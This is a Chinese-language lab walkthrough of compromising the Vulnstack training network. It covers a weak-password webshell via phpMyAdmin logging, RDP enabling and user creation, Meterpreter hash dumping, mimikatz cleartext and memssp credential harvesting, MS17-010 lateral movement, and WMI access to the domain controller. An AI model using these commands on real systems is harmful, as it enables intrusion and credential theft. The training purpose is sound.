前言
vlunstack是紅日安全團隊出品的一個實戰環境,具體介紹請訪問:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
拓撲結構大體如下:
話不多說,直接開搞..
外網初探
打開頁面后發現是一個Yxcms的站點,關於Yxcms的漏洞可以參考:https://www.freebuf.com/column/162886.html
然后找到后台,隨手一個弱口令:admin、123456便進入了后台(實戰中也有很多的站點是弱口令,只能說千里之堤潰於蟻穴)
關於Yx后台拿shell的方法還是很簡單的,直接在新建模板哪里,將我們的一句話木馬添加進去就ok了
比如這樣
此時我們連接index.php即可獲得shell
此時呢,我們先不往下進行,既然是靶機,我們就應該多去嘗試一下發掘它其他的漏洞,蟻劍連接以后可以發現這是一個phpstudy搭建的網站,那么按照經驗我們知道應該會有默認的phpmyadmin在,我們嘗試訪問:
發現猜測的沒錯,那么默認密碼呢,root、root發現竟然也進去了,那么就來復習一下phpmyadmin后台getshell吧。phpmyadmin后台getshell一般有以下幾種方式:
1、select into outfile直接寫入
2、開啟全局日志getshell
3、使用慢查詢日志getsehll
4、使用錯誤日志getshell
5、利用phpmyadmin4.8.x本地文件包含漏洞getshell
我們先來看一下第一種,直接寫shell
發現是不行的,而且該變量為只讀,所以只能放棄。
再來看一下第二種,利用全局變量general_log去getshell
我們嘗試更改日志狀態、位置
set global general_log=on;# 開啟日志
set global general_log_file='C:/phpstudy/www/yxcms/v01cano.php';# 設置日志位置為網站目錄
發現已經成功更改
此時執行如下語句即可getshell
select '<?php assert($_POST["a"]); ?>'
剩下的就不再去測試了,大家有興趣的可以去自行嘗試
拿到shell之后我們就該提權了
殺入內網
發現是一個administrator權限的shell,然后查看3389是否開啟
發現3389並沒有開啟,我們使用以下命令開啟它:
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
然后就發現3389已經成功的開啟了
嘗試添加用戶:
C:\phpStudy\WWW\yxcms> net user test N0hWI!@! /add
命令成功完成。
C:\phpStudy\WWW\yxcms> net localgroup administrators test /add
命令成功完成。
可以發現已經成功添加一個用戶上去
嘗試遠程桌面連接卻失敗了,nmap掃描3389端口發現狀態為filtered
猜測應該是防火牆的問題,查看虛擬機發現猜測沒錯
此時思路一般如下:
1、反彈一個msf的shell回來,嘗試關閉防火牆
2、嘗試使用隧道連接3389
我們先來看一下第二種我們這里使用ngrok:
在ngrok中添加一條tcp隧道就ok然后了,然后我們就可以去連接目標的3389了
我們再來看一下第一種的操作,先反彈一個msf的shell回來
關閉防火牆:
meterpreter > run post/windows/manage/enable_rdp
此時我們便可以直接連接目標主機了
下面我們就該去殺入域控了,殺入域之前我們先來做一些基礎的信息收集,畢竟大佬說過滲透測試的本質是信息收集..
ipconfig /all 查詢本機IP段,所在域等
net config Workstation 當前計算機名,全名,用戶名,系統版本,工作站域,登陸域
net user 本機用戶列表
net localhroup administrators 本機管理員[通常含有域用戶]
net user /domain 查詢域用戶
net user 用戶名 /domain 獲取指定用戶的賬戶信息
net user /domain b404 pass 修改域內用戶密碼,需要管理員權限
net group /domain 查詢域里面的工作組
net group 組名 /domain 查詢域中的某工作組
net group "domain admins" /domain 查詢域管理員列表
net group "domain controllers" /domain 查看域控制器(如果有多台)
net time /domain 判斷主域,主域服務器都做時間服務器
ipconfig /all 查詢本機IP段,所在域等
經過一番信息收集,我們可以知道域控的地址為:192.168.52.138、域成員主機03地址:192.168.52.141
然后抓一下本地管理員的密碼:
首先使用getsystem進行提權
我們此時已經獲取了system權限(實戰中可能需要其他更復雜的方式進行提權)
然后抓一下hash
發現失敗了
然后我們用msf自帶的模塊進行hash抓取
meterpreter > run post/windows/gather/smart_hashdump
發現已經獲取了hash
但是這樣獲取的hash不是很全面,我們再使用mimitakz進行抓取
meterpreter > mimikatz_command -f samdump::hashes
在本環境中我們是沒有辦法直接抓取明文的,當然也有辦法繞過就是自己上傳一個mimitakz使用debug進行明文抓取
我們先把mimitakz(實戰中需要免殺處理)上傳上去:
然后進行明文密碼抓取
先進行權限提升
privilege::debug
然后使用
sekurlsa::logonPasswords
進行明文抓取
此時我們就已經獲取到了administrator的明文密碼
我們再對03進行滲透
內網漫游
先添加一條路由進來:
meterpreter > run autoroute -s 192.168.52.0/24
我們使用作者給出的漏洞列表進行嘗試
然后使用08-067(https://www.freebuf.com/vuls/203881.html) 進行滲透,發現失敗了..
對另外的漏洞也進行了測試
后來發現都還是失敗了…額,后來查看發現是目標主機這些服務默認沒有開啟,需要手工開啟…
算了直接使用ms17-010打一個shell回來,這里要注意一下,msf內置的17-010打2003有時候多次執行后msf就接收不到session,而且ms17-010利用時,脆弱的server 2003非常容易藍屏。
本人也嘗試了一下github上的windows 2003 – windows 10全版本的msf 17-010腳本,但效果都是一般..這里也給出腳本名稱,大家可以自己去找一下..(ms17_010_eternalblue_doublepulsar)
這里的話呢,先給大家說一下思路,首先機器為域內主機,不通外網我們不能直接使用17-010來打,可以先使用msf的socks功能做一個代理出來,這樣我們便可以使用nmap等對其進行簡單的信息判斷
像這樣(-PN、-sT必須加):
proxychains nmap -p 3389 -Pn -sT 192.168.52.141
而且使用msf的代理之后就不能使用反向shell了,我們需要使用正向shell,然后我們可以先使用auxiliary/admin/smb/ms17_010_command來執行一些命令
然后這時候如果你的權限是system,你可以添加一個用戶,然后使用exploit/windows/smb/ms17_010_psexec 嘗試去打一個shell回來,因為這個模塊需要你去指定一個管理員用戶….但是我這里依然失敗了,於是我便添加了一個用戶上去,直接使用遠程桌面連接上了2003的機器…
然后傳了一個msf的正向shell,使用msf接收到了2003的shell
因為是2003的機器,直接getsystem便得到了system權限
然后用之前相同的方法便可以得到管理員的明文密碼..
這里順便說一下,除了上面的那種方法可以得到shell,也可以添加用戶和使用regeorg+proxifier進入內網連接,然后用netsh中轉得到session
至此2003的滲透基本就到此為止了,我們下面來懟域控!!!
其實在前面我們已經拿到了域用戶的帳號密碼,即administrator、hongrisec@2019我們現在要做的就是如何登錄到域控上去
我們這里的話呢使用wmi進行操作
上傳wmi到192.168.52.143(win7)這個機器上去,然后執行:
C:UsersAdministratorDesktop>cscript.exe wmiexec.vbs /cmd 192.168.52.138 admin
istrator hongrisec@2019 "whoami"
得到回顯
然后通過相同的方式下載一個msf的木馬,反彈一個shell回來(正向)
得到shell
這里很好奇的是,為了增加難度,我在域控上加了一個安全狗上去,但是在我執行msf的shell的時候並沒有提示任何異常操作..
算了,不管他..繼續,提權域控,導出域hash
先查看有那些補丁沒有打..
run post/windows/gather/enum_patches
嘗試了幾個exp之后都失敗了,於是寄出神器CVE-2018-8120
得到system權限,然后下面我們嘗試去抓取域控上面的hash與明文密碼..
我們這里使用直接上傳mimikatz的方法進行抓取,這時候,終於安全狗報毒了…
我們換上免殺的mimikatz進行密碼抓取
但這只是我們當前用戶的密碼,我們需要一個域管理的密碼..
我們可以做如下操作:
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # misc::memssp
Injected =)
mimikatz # exit
此時我們只需要耐心等待域管理員登錄就好了,我們模擬登錄后再進行查看.
已經獲得了域管理員的明文密碼
寫在后面
整個過程下來收獲還是蠻大的,也意識到了自己的不足,當然我的這種方法可能不是最好的方法,而且作者也說了在域控上有redis漏洞等,文中都沒有涉及,而且實戰中肯定也會比這個復雜的多,本文也僅僅是給大家提供一個思路而已,如果文中有出錯的地方還望指出,以免誤人子弟。